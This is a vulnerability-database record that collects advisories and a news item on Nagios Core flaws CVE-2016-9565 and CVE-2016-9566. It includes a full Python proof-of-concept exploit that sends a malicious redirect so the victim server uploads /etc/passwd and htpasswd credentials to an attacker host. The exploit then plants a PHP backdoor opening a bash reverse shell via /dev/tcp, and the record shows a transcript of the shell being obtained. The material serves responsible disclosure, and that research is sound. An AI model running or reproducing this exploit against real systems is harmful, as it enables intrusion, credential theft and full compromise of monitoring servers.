/tmp/nagiosrootsh\r\n\r\nGot root via Nagios!\r\n\r\n[+] Nagios pwned. Spawning the rootshell /tmp/nagiosrootsh now\r\n\r\nnagiosrootsh-4.3# exit\r\nexit\r\n\r\n[+] Cleaning up...\r\n\r\n[+] Job done. Exiting with code 0 \r\n\r\n\r\n\r\nVideo PoC:\r\n~~~~~~~~~~~~~\r\n\r\nhttps://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n\r\n\r\n\r\nVI. BUSINESS IMPACT\r\n-------------------------\r\n\r\nAn attacker who has managed to gain access to 'nagios' account, or an account\r\nbelonging to 'nagios' group (which is the case in the CVE-2016-9565 scenario)\r\nto escalate their privileges to root and fully compromise the Nagios monitoring\r\nserver.\r\n\r\n \r\nVII. SYSTEMS AFFECTED\r\n-------------------------\r\n\r\nNagios Core < 4.2.4\r\n\r\nVendor notice:\r\nhttps://www.nagios.org/projects/nagios-core/history/4x/\r\n \r\nVIII. SOLUTION\r\n-------------------------\r\n\r\nVendor received this advisory in advance and released a security\r\nrelease of Nagios 4.2.4 to address this vulnerability.\r\n \r\nIX. REFERENCES\r\n-------------------------\r\n\r\nhttps://legalhackers.com\r\n\r\nThis advisory:\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n\r\nExploit code:\r\nhttps://legalhackers.com/exploits/CVE-2016-9566/nagios-root-privesc.sh\r\n\r\nCVE-2016-9566:\r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9566\r\n\r\nVideo PoC:\r\nhttps://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n\r\nNagios Curl Command Injection / Code Exec with 'nagios' group (CVE-2016-9565):\r\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\r\n\r\nNagios / Vendor links:\r\n\r\nhttps://www.nagios.org/\r\n\r\nCVE-2016-9566:\r\nhttps://www.nagios.org/projects/nagios-core/history/4x/\r\n\r\nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf\r\n\r\nX. CREDITS\r\n-------------------------\r\n\r\nThe vulnerability has been discovered by Dawid Golunski\r\ndawid (at) legalhackers (dot) com\r\n\r\nhttps://legalhackers.com\r\n \r\nXI. REVISION HISTORY\r\n-------------------------\r\n\r\n15.12.2016 - Advisory released\r\n \r\n\r\nXII. LEGAL NOTICES\r\n-------------------------\r\n\r\nThe information contained within this advisory is supplied \"as-is\" with\r\nno warranties or guarantees of fitness of use or otherwise. I accept no\r\nresponsibility for any damage caused by the use or misuse of this information.\r\n'''", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/40921/"}], "threatpost": [{"lastseen": "2018-10-06T22:54:19", "bulletinFamily": "info", "cvelist": ["CVE-2008-4796", "CVE-2016-9565", "CVE-2016-9566"], "description": "Nagios Core has been updated to take care of two critical vulnerabilities that can be pinned together to attack servers hosting the open source IT infrastructure monitoring software.\n\nThe flaws were privately disclosed by researcher Dawid Golunski of [Legal Hackers](<https://legalhackers.com/>), who said the vulnerabilities can be exploited to elevate privileges to root and gain remote code execution.\n\nUsers should upgrade to Nagios Core 4.2.4; previous versions are vulnerable.\n\nGolunski said in an advisory that an attacker can gain a foothold on a Nagios Core server by taking advantage of a command injection vulnerability (CVE-2016-9565) in a front-end RSS feed reader class called MagpieRSS that displays news sent from Nagios. The [component vulnerability](<https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-4796>) was discovered in 2008, he said.\n\nGolunski said the reader can load feeds in clear text over HTTP connections or over HTTPS because it accepts self-signed certificates.\n\n\u201cThe vulnerability could potentially enable remote unauthenticated attackers who managed to impersonate the feed server (via DNS poisoning, domain hijacking, ARP spoofing etc.), to provide a malicious response that injects parameters to curl command used by the affected RSS client class and effectively read/write arbitrary files on the vulnerable Nagios server,\u201d Golunski said. \u201cThis could lead to Remote Code Execution in the context of www-data/nagios user on default Nagios installs that follow the official setup guidelines.\u201d\n\nGolunski provides technical details and a proof-of-concept exploit in his [advisory](<https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html>). He said an attacker can abuse a curl command used to handle HTTPS requests that is improperly sanitized and fails to prevent code injection. An attacker who manages to impersonate the Nagios domain would be in position to attack the server remotely.\n\n\u201cThe vulnerability could potentially become an Internet threat and be used to exploit a large number of affected Nagios installations in case of a compromise of a DNS server/resolver belonging to a large-scale ISP,\u201d Golunski said.\n\nThe second vulnerability, CVE-2016-9566, and affords an attacker root access if used in conjunction with CVE-2016-9565.\n\nGolunski said the Nagios Core daemon performs unsafe operations when handling a log file; a local attacker could elevate privileges from system or group user to root.\n\n\u201cThe exploit could enable the attackers to fully compromise the system on which a vulnerable Nagios version was installed,\u201d Golunski said.\n\nThe problem, Golunski said in an [advisory](<https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html>), is that the Nagios daemon opens the log file before dropping its root privileges on startup.\n\n\u201cIf an attacker managed to gain access to an account of \u2018nagios\u2019 or any other account belonging to the \u2018nagios\u2019 group, they would be able to replace the log file with a symlink to an arbitrary file on the system,\u201d Golunski said. \u201cThis vulnerability could be used by an attacker to escalate their privileges from nagios user/group to root for example by creating a malicious /etc/ld.so.preload file.\u201d This affords an attacker access to the Nagios group and allows the attacker to read the log file.\n\n\u201cAttackers with access to \u2018nagios\u2019 group could however bypass the lack of write privilege by writing to Nagios external command pipe (nagios.cmd) which is writable by \u2018nagios\u2019 group by default,\u201d Golunski said.\n\nAccess to the command pipe allows the attacker to bypass a lack of write permission to inject data to the log file, Golunski said, and escalate privileges to root.\n", "modified": "2016-12-20T20:20:15", "published": "2016-12-16T11:00:13", "id": "THREATPOST:FF116863B5F150527644B5466CE96667", "href": "https://threatpost.com/nagios-core-patches-root-rce-vulnerabilities/122558/", "type": "threatpost", "title": "Nagios Core Patches Root, RCE Vulnerabilities", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "packetstorm": [{"lastseen": "2016-12-15T22:03:28", "description": "", "published": "2016-12-15T00:00:00", "type": "packetstorm", "title": "Nagios Core Curl Command Injection / Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9565", "CVE-2016-9566", "CVE-2008-4796"], "modified": "2016-12-15T00:00:00", "id": "PACKETSTORM:140169", "href": "https://packetstormsecurity.com/files/140169/Nagios-Core-Curl-Command-Injection-Code-Execution.html", "sourceData": "` __ __ __ __ __ \n/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ \n/ / / _ \\/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \\/ ___/ ___/ \n/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) \n/_____/\\___/\\__, /\\__,_/_/ /_/ /_/\\__,_/\\___/_/|_|\\___/_/ /____/ \n/____/ \n \n \n============================================= \n- Discovered by: Dawid Golunski \n- dawid[at]legalhackers.com \n- https://legalhackers.com \n \n- CVE-2016-9565 \n- Release date: 13.12.2016 \n- Revision 2.0 \n- Severity: High / Critical \n============================================= \n \n \nI. VULNERABILITY \n------------------------- \n \nNagios Core < 4.2.2 Curl Command Injection / Remote Code Execution \n \n \nII. BACKGROUND \n------------------------- \n \n\"Nagios Is The Industry Standard In IT Infrastructure Monitoring \n \nAchieve instant awareness of IT infrastructure problems, so downtime doesn't \nadversely affect your business. \n \nNagios offers complete monitoring and alerting for servers, switches, \napplications, and services.\" \n \nhttps://www.nagios.org/ \n \n \nIII. INTRODUCTION \n------------------------- \n \nNagios Core comes with a PHP/CGI front-end which allows to view status \nof the monitored hosts. \nThis front-end contained a Command Injection vulnerability in a RSS feed reader \nclass that loads (via insecure clear-text HTTP or HTTPS accepting self-signed \ncertificates) the latest Nagios news from a remote RSS feed (located on the \nvendor's server on the Internet) upon log-in to the Nagios front-end. \nThe vulnerability could potentially enable remote unauthenticated attackers who \nmanaged to impersonate the feed server (via DNS poisoning, domain hijacking, \nARP spoofing etc.), to provide a malicious response that injects parameters to \ncurl command used by the affected RSS client class and effectively \nread/write arbitrary files on the vulnerable Nagios server. \nThis could lead to Remote Code Execution in the context of www-data/nagios user \non default Nagios installs that follow the official setup guidelines. \n \nIV. DESCRIPTION \n------------------------- \n \n \nVulnerability \n~~~~~~~~~~~~~~ \n \nThe vulnerability was caused by the use of a vulnerable component for handling \nRSS news feeds - MagpieRSS in Nagios Core control panel / front-end. \nThe component was used by Nagios front-end to load news feeds from remote \nfeed source upon log-in. \nThe component was found vulnerable to CVE-2008-4796. \n \nBelow are relevant parts of code from the vulnerable RSS class: \n \n---------------------------------------------------- \n \nfunction fetch($URI) \n{ \n... \ncase \"https\": \n... \n$path = $URI_PARTS[\"path\"].($URI_PARTS[\"query\"] ? \"?\".$URI_PARTS[\"query\"] : \"\"); \n$this->_httpsrequest($path, $URI, $this->_httpmethod); \n... \n} \n... \nfunction _httpsrequest($url,$URI,$http_method,$content_type=\"\",$body=\"\") \n{ \n# accept self-signed certs \n$cmdline_params .= \" -k\"; \nexec($this->curl_path.\" -D \\\"/tmp/$headerfile\\\"\".escapeshellcmd($cmdline_params).\" \".escapeshellcmd($URI),$results,$return); \n \n--------------------------------------------------------- \n \n \nAs can be seen, the _httpsrequest function uses a curl command to handle HTTPS \nrequests. The sanitization used to escape $URI did not prevent injection of \nadditional parameters to curl command which made it possible to, for example, get \ncurl to write out the https response to an arbitrary file with the $URI: \n \nhttps://attacker-svr -o /tmp/result_file \n \nThe vulnerability was reported to Nagios security team. \nNagios 4.2.0 was released which contained the following fix for CVE-2008-4796: \n \n--------------------------------------------------------- \n \n# accept self-signed certs \n$cmdline_params .= \" -k\"; \nexec($this->curl_path.\" -D \\\"/tmp/$headerfile\\\"\".$cmdline_params.\" \\\"\".escapeshellcmd($URI).\"\\\"\",$results,$return); \n \n--------------------------------------------------------- \n \nFurther research found the fix to be incomplete as the extra sanitization \nby the above patch could be bypassed by adding extra quote characters in \nthe $URI variable e.g: \n \nhttps://attacker-svr\" -o /tmp/nagioshackedagain \" \n \nThis vulnerability has been assigned CVE-2016-9565 and was addressed by Nagios \nteam in the new release of Nagios 4.2.2 by removing the vulnerable class. \n \n \nInjection Point / Controling $URI var \n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nThe affected versions of Nagios Core front-end contain three files that trigger \nthe _httpsrequest() function with the injectable curl command shown above: \n \n- rss-corefeed.php \n- rss-corebanner.php \n- rss-newsfeed.php \n \nThese are used to fetch news via an RSS feed from www.nagios.org website via \nHTTP or HTTPS (see the notes below) protocols. \nThe news are displayed on the Home page of the Nagios front-end upon log-in. \n \nAll 3 scripts call fetch_rss() as follows: \n \n------[ rss-corefeed.php ]------ \n \n<?php \n \n//build splash divs to ajax load \ndo_corefeed_html(); \n \nfunction do_corefeed_html() { \n \n$url=\"http://www.nagios.org/backend/feeds/corepromo\"; \n$rss=fetch_rss($url); \n$x=0; \n//build content string \nif($rss) { \n$html =\" \n<ul>\"; \n \nforeach ($rss->items as $item){ \n$x++; \nif($x>3) \nbreak; \n//$href = $item['link']; \n//$title = $item['title']; \n$desc = $item['description']; \n$html .=\"<li>{$item['description']}</li>\"; \n} \n$html .=\"</ul>\"; \n \nprint $html; \n \n-------------------------------- \n \n \nAn attacker who managed to impersonate www.nagios.org domain and respond to the web \nrequest made by the fetch_rss() function could send a malicious 302 redirect to set \n$URI variable from the _httpsrequest() function to an arbitrary value and thus \ncontrol the curl command parameters. \n \nFor example, the following redirect: \n \nLocation: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd \n \nwould execute curl with the parameters: \n \ncurl -D /tmp/$headerfile https://attackers-host/get-data.php -Fpasswd=@/etc/passwd \n \nand send the contents of the pnsswd file from the Nagios system to the attacker's \nserver in a POST request. \n \n \nAttack Vectors \n~~~~~~~~~~~~~~~~~ \n \nIn order to supply a malicious response to fetch_rss() the attacker would \nneed to impersonate the www.nagios.org domain in some way. \nWell-positioned attackers within the target's network could try network \nattacks such as DNS spoofing, ARP poisoning etc. \n \nA compromised DNS server/resolver within an organisation could be used by \nattackers to exploit the Nagios vulnerability to gain access to the monitoring \nserver. \n \nThe vulnerability could potentially become an Internet threat and be used to \nexploit a large number of affected Nagios installations in case of a compromise \nof a DNS server/resolver belonging to a large-scale ISP. \n \n \nNotes \n~~~~~~~~~~~~~~~~~ \n \n[*] Nagios front-end in versions <= 4.0.5 automatically load the rss-*.php files \nupon login to the Nagios control panel. Later versions contain the \nvulnerable scripts but do not load them automatically. \nOn such installations an attacker could still be successful in one of the cases: \n \na) if attacker had low-privileged access (guest/viewer account) to the control \npanel and was able to execute /nagios/rss-newsfeed.php script \n \nb) perform a CSRF attack / entice a logged-in nagios user to open the URL: \nhttp://nagios-server/nagios/rss-newsfeed.php \n \nc) well-positioned attackers on the network might be able to modify the \ntraffic and inject a redirect to /rss-newsfeed.php script when Nagios control \npanel is accessed via HTTP by an authenticated user \n \n \n[*] The rss-*.php scripts in Nagios Core >=4.0.8 use HTTPS to fetch news feeds \nhowever as has been previously shown in _httpsrequest() function, the curl \ncommand gets passed a '-k' (--insecure) parameter which accepts self-signed \ncertificates. \n \n \nArbitrary Code Execution \n~~~~~~~~~~~~~~~~~~~~~~~~~~ \n \nNagios Core installations that follow the official installation guidelines: \n \nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf \n \nas well as the commercial Nagios VMs available for purchase on the vendor website \nmake the web-server user (www-data) part of the 'nagios' group which has \nwrite access to the web document root (/usr/local/nagios/share). \n \nThis can allow attackers who manage to exploit the vulnerability and \ninject parameters to curl command to save a PHP backdoor within the document \nroot via a 302 redirect similar to: \n \nLocation: http://attacker/php-backdoor.php --trace-ascii /usr/local/nagios/share/nagios-backdoor.php \n \nand have it executed automatically upon a log-in to the Nagios control panel via html/JS code \nsnippet returned as a part of the RSS feed as demonstrated by the PoC exploit below. \n \nThe privileges could then be raised from nagios user to root via another Nagios \nvulnerability discovered by the author of this advisory CVE-2016-9566: \n \nhttp://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html \n \n \nV. PROOF OF CONCEPT \n------------------------- \n \nBelow is an exploit that demonstrates reading, writing, and code execution \non affected Nagios installations. \nThe attack flow is as follows: \n \nFor simplicity, to test the attack vector, a static DNS entry can be added \ninside the /etc/hosts file on the victim Nagios server to point the \nwww.nagios.org domain at an attacker's IP where the exploit is executed. \n \n \n----------[ nagios_cmd_injection.py ]---------- \n \n#!/usr/bin/env python \nintro = \"\"\"\\033[94m \nNagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit \nCVE-2016-9565 \nnagios_cmd_injection.py ver. 1.0 \n \nDiscovered & Coded by: \n \nDawid Golunski \nhttps://legalhackers.com \n\\033[0m \n\"\"\" \nusage = \"\"\" \nThis PoC exploit can allow well-positioned attackers to extract and write \narbitrary files on the Nagios server which can lead to arbitrary code execution \non Nagios deployments that follow the official Nagios installation guidelines. \n \nFor details, see the full advisory at: \nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html \n \nPoC Video: \nhttps://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html \n \nFollow https://twitter.com/dawid_golunski for updates on this advisory. \n \nRemember you can turn the nagios shell into root shell via CVE-2016-9565: \nhttps://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html \n \nUsage: \n \n./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port] \n \nDisclaimer: \nFor testing purposes only. Do no harm. \n \n\"\"\" \n \nimport os \nimport sys \nimport time \nimport re \nimport tornado.httpserver \nimport tornado.web \nimport tornado.ioloop \n \nexploited = 0 \ndocroot_rw = 0 \n \nclass MainHandler(tornado.web.RequestHandler): \n \ndef get(self): \nglobal exploited \nif (exploited == 1): \nself.finish() \nelse: \nua = self.request.headers['User-Agent'] \nif \"Magpie\" in ua: \nprint \"[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\\n\" % self.request.remote_ip \nprint '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\\n' \nself.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False) \nexploited = 1 \n \ndef post(self): \nglobal docroot_rw \nprint \"[+] Success, curl payload injected! Received data back from the Nagios server %s\\n\" % self.request.remote_ip \n \n# Extract /etc/passwd from the target \npasswd = self.request.files['passwd'][0]['body'] \nprint \"[*] Contents of /etc/passwd file from the target:\\n\\n%s\" % passwd \n \n# Extract /usr/local/nagios/etc/htpasswd.users \nhtauth = self.request.files['htauth'][0]['body'] \nprint \"[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\\n\\n%s\" % htauth \n \n# Extract nagios group from /etc/group \ngroup = self.request.files['group'][0]['body'] \nfor line in group.splitlines(): \nif \"nagios:\" in line: \nnagios_group = line \nprint \"[*] Retrieved nagios group line from /etc/group file on the target: %s\\n\" % nagios_group \nif \"www-data\" in nagios_group: \nprint \"[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\\n\" \ndocroot_rw = 1 \n \n# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii' \n# option. The output trace should contain an unwrapped line similar to: \n# \n# == Info: Server <?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'\"); ?> is not blacklisted \n# \n# which will do the trick as it won't mess up the payload :) \nself.add_header('Server', backdoor) \n \n# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :) \nprint \"[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \\n\" \nself.write(xmldata) \n \nself.finish() \ntornado.ioloop.IOLoop.instance().stop() \n \n \nif __name__ == \"__main__\": \nglobal backdoor_path \nglobal backdoor \n \nprint intro \n \n# Set attacker's external IP & port to be used by the reverse shell \nif len(sys.argv) < 2 : \nprint usage \nsys.exit(2) \nattacker_ip = sys.argv[1] \nif len(sys.argv) == 3 : \nattacker_port = sys.argv[1] \nelse: \nattacker_port = 8080 \n \n# PHP backdoor to be saved on the target Nagios server \nbackdoor_path = '/usr/local/nagios/share/nagios-backdoor.php' \nbackdoor = \"\"\"<?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'\"); die(\"stop processing\"); ?>\"\"\" % (attacker_ip, attacker_port) \n \n# Feed XML containing JavaScript payload that will load the nagios-backdoor.php script \nglobal xmldata \nxmldata = \"\"\"<?xml version=\"1.0\"?> \n<rss version=\"2.0\"> \n<channel> \n<title>Nagios feed with injected JS payload</title> \n<item> \n<title>Item 1</title> \n<description> \n \n<strong>Feed injected. Here we go </strong> - \nloading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) \n \n<img src=\"/nagios/nagios-backdoor.php\" onerror=\"alert('Reverse Shell /nagios/nagios-backdoor.php executed!')\"> \n \n</description> \n \n</item> \n \n</channel> \n</rss> \"\"\" \n \n \n# Generate SSL cert \nprint \"[+] Generating SSL certificate for our python HTTPS web server \\n\" \nos.system(\"echo -e '\\n\\n\\n\\n\\n\\n\\n\\n\\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null\") \n \nprint \"[+] Starting the web server on ports 80 & 443 \\n\" \napplication = tornado.web.Application([ \n(r'/.*', MainHandler) \n]) \napplication.listen(80) \nhttp_server = tornado.httpserver.HTTPServer( \napplication, \nssl_options = { \n\"certfile\": os.path.join(\"./\", \"server.cert\"), \n\"keyfile\": os.path.join(\"./\", \"server.key\"), \n} \n) \nhttp_server.listen(443) \n \nprint \"[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\\n\" \ntornado.ioloop.IOLoop.current().start() \n \nif (docroot_rw == 1): \nprint \"[+] PHP backdoor should have been saved in %s on the target by now!\\n\" % backdoor_path \nprint \"[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\\n\" \nos.system(\"nc -v -l -p 8080\") \nprint \"\\n[+] Shell closed\\n\" \n \nprint \"[+] That's all. Exiting\\n\" \n \n \n \n----------------------------------------------- \n \nVideo PoC \n~~~~~~~~~~~~ \n \nhttps://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html \n \n \nExample exploit run \n~~~~~~~~~~~~~~~~~~~~ \n \nroot@xenial:~/nagios-exploit# ./nagios_cmd_injection.py 192.168.57.3 \n \nNagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit \nCVE-2016-9565 \nnagios_cmd_injection.py ver. 1.0 \n \nDiscovered & Coded by: \n \nDawid Golunski \nhttps://legalhackers.com \n \n[+] Generating SSL certificate for our python HTTPS web server \n \n[+] Starting the web server on ports 80 & 443 \n \n[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;) \n \n[+] Received GET request from Nagios server (192.168.57.4) ! Sending redirect to inject our curl payload: \n \n-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/local/nagios/share/nagios-backdoor.php \n \n[+] Success, curl payload injected! Received data back from the Nagios server 192.168.57.4 \n \n[*] Contents of /etc/passwd file from the target: \n \nroot:x:0:0:root:/root:/bin/bash \ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin \nnagios:x:1001:1001::/home/nagios:/bin/sh \n[..cut..] \n \n[*] Contents of /usr/local/nagios/etc/htpasswd.users file: \n \nnagiosadmin:$apr1$buzCfFb$GjV/ga6PHp53qePf0 \n \n[*] Retrieved nagios group line from /etc/group file on the target: nagios:x:1001:www-data \n \n[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot) \n \n[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n \n[+] PHP backdoor should have been saved in /usr/local/nagios/share/nagios-backdoor.php on the target by now! \n \n[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :) \n \nListening on [0.0.0.0] (family 0, port 8080) \nConnection from [192.168.57.4] port 8080 [tcp/http-alt] accepted (family 2, sport 38718) \n \nwww-data@debjessie:/usr/local/nagios/share$ id \nid \nuid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd) \n \nwww-data@debjessie:/usr/local/nagios/share$ groups \ngroups \nwww-data nagios nagcmd \n \nwww-data@debjessie:/usr/local/nagios/share$ cat nagios-backdoor.php \n[..cut..] \n== Info: Server <?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'\"); die(\"stop processing\"); ?> is not blacklisted \n[..cut..] \nwww-data@debjessie:/usr/local/nagios/share$ ls -ld . \nls -ld . \ndrwxrwsr-x 16 nagios nagios 4096 Dec 9 20:00 . \n \nwww-data@debjessie:/usr/local/nagios/share$ exit \nexit \nexit \n \n[+] Shell closed \n \n[+] That's all. Exiting \n \n \n \nVI. BUSINESS IMPACT \n------------------------- \n \nSuccessfull exploitation of the vulnerability could allow remote attackers \nto extract sensitive data from the Nagios monitoring server as well as \nachieve arbitrary code execution as demonstrated by the exploit. \nThe monitoring server is usually critical within an organisation as it \noften has remote access to all hosts within the network. For this reason \na compromise could likely allow attackers to expand their access within \nthe network to other internal servers. \n \nCorporate monitoring servers with a large number of connected hosts are \noften left unpatched due to their sensitive/central role on the network \nwhich increase the chances of exploitation. \n \nAs explained in the description section, the vulnerability could be a threat \ncoming from the Internet. If a major ISP / DNS, or nagios.org site itself was \ncompromised, this could potentially allow attackers to exploit the vulnerability \non multiple Nagios installations which retrieve RSS feeds automatically and the \ncorporate firewall does not stop the egress traffic from the monitoring server. \nAs a result, an attacker could potentially gain unauthorised access to \naffected Nagios installations without even knowing the target IP addresses \nand despite a lack of direct access to the target (blocked igress traffic on \nthe firewall). \n \n \nVII. SYSTEMS AFFECTED \n------------------------- \n \nBoth of the Nagios Core stable branches 3.x and 4.x are affected. \n \nThe vulnerability was disclosed responsibly to the vendor and was fully fixed \nin Nagios Core 4.2.2. \n \nNagios Core versions <= 4.0.5 are at the highest risk as they are the easiest \nto exploit (automatically load the vulnerable scripts upon log-in to the Nagios \ncontrol panel). \n \nVIII. SOLUTION \n------------------------- \n \nUpdate to the latest Nagios Core release. \n \nIX. REFERENCES \n------------------------- \n \nhttps://legalhackers.com \n \nThis advisory (CVE-2016-9565) URL: \nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html \n \nRoot Privilege Escalation from nagios system user to root (CVE-2016-9566): \nhttps://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html \n \nVideo PoC: \nhttps://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html \n \nExploit source code: \nhttps://legalhackers.com/exploits/CVE-2016-9565/nagios_cmd_injection.py \n \nhttps://www.nagios.org \n \nNagios patch history: \nhttps://www.nagios.org/projects/nagios-core/history/4x/ \n \nMagpieRSS CVE-2008-4796: \nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796 \n \nNagios Core installation guide: \nhttps://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf \n \nX. CREDITS \n------------------------- \n \nThe vulnerability has been discovered by Dawid Golunski \ndawid (at) legalhackers (dot) com \n \nhttps://legalhackers.com \n \nXI. REVISION HISTORY \n------------------------- \n \n13.12.2016 - Advisory released \n14.12.2016 - Extended introduction \n \nXII. LEGAL NOTICES \n------------------------- \n \nThe information contained within this advisory is supplied \"as-is\" with \nno warranties or guarantees of fitness of use or otherwise. I accept no \nresponsibility for any damage caused by the use or misuse of this information. \n \n \n \n`\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/140169/nagioscore-exec.txt"}], "zdt": [{"lastseen": "2018-03-14T23:14:59", "description": "Exploit for linux platform in category local exploits", "edition": 1, "published": "2016-12-16T00:00:00", "type": "zdt", "title": "Nagios 4.2.4 - Privilege Escalation Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9566"], "modified": "2016-12-16T00:00:00", "href": "https://0day.today/exploit/description/26530", "id": "1337DAY-ID-26530", "sourceData": "'''\r\nSource: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\r\n \r\n=============================================\r\n- Discovered by: Dawid Golunski\r\n- dawid[at]legalhackers.com\r\n- https://legalhackers.com\r\n \r\n- CVE-2016-9566\r\n- Release date: 15.12.2016\r\n- Revision 1.0\r\n- Severity: High\r\n=============================================\r\n \r\n \r\nI. VULNERABILITY\r\n-------------------------\r\n \r\nNagios Core < 4.2.4 - Root Privilege Escalation\r\n \r\n \r\nII. BACKGROUND\r\n-------------------------\r\n \r\n\"Nagios Is The Industry Standard In IT Infrastructure Monitoring\r\n \r\nAchieve instant awareness of IT infrastructure problems, so downtime doesn't \r\nadversely affect your business.\r\n \r\nNagios offers complete monitoring and alerting for servers, switches, \r\napplications, and services.\"\r\n \r\nhttps://www.nagios.org/\r\n \r\n \r\nIII. INTRODUCTION\r\n-------------------------\r\n \r\nNagios Core daemon in versions below 4.2.4 was found to perform unsafe \r\noperations when handling the log file. This could be exploited by \r\nmalicious local attackers to escalate their privileges from 'nagios' system user, \r\nor from a user belonging to 'nagios' group, to root.\r\nThe exploit could enable the attackers to fully compromise the system on which a \r\nvulnerable Nagios version was installed.\r\n \r\nTo obtain the necessary level of access, the attackers could use another \r\nNagios vulnerability discovered by the author of this advisory - CVE-2016-9565\r\nwhich has been linked in the references.\r\n \r\nIV. DESCRIPTION\r\n-------------------------\r\n \r\nDefault installation of Nagios Core creates the log directory with the\r\nfollowing permissions: \r\n \r\ndrwxrwsr-x 5 nagios nagios\r\n \r\nNagios daemon was found to open the log file before dropping its root \r\nprivileges on startup:\r\n \r\n8148 open(\"/usr/local/nagios/var/nagios.log\",\r\nO_RDWR|O_CREAT|O_APPEND, 0666) = 4\r\n8148 fcntl(4, F_SETFD, FD_CLOEXEC) = 0\r\n8148 fchown(4, 1001, 1001) = 0\r\n8148 getegid() = 0\r\n8148 setgid(1001) = 0\r\n8148 geteuid() = 0\r\n[...]\r\n \r\nIf an attacker managed to gain access to an account of 'nagios' or any\r\nother account belonging to the 'nagios' group, they would be able to\r\nreplace the log file with a symlink to an arbitrary file on the system.\r\n \r\nThis vulnerability could be used by an attacker to escalate their privileges\r\nfrom nagios user/group to root for example by creating a malicious \r\n/etc/ld.so.preload file.\r\n \r\nThe file would be created with the following nagios permissions due to \r\nthe fchown operation shown above:\r\n \r\n-rw-r--r-- 1 nagios nagios 950 Dec 10 11:56 /etc/ld.so.preload\r\n \r\nwhich would enable write access to the file for the 'nagios' user\r\nbut not the 'nagios' group.\r\n \r\n \r\nGaining write access to ld.so.preload as 'nagios' group\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n \r\nIf the attacker managed to exploit 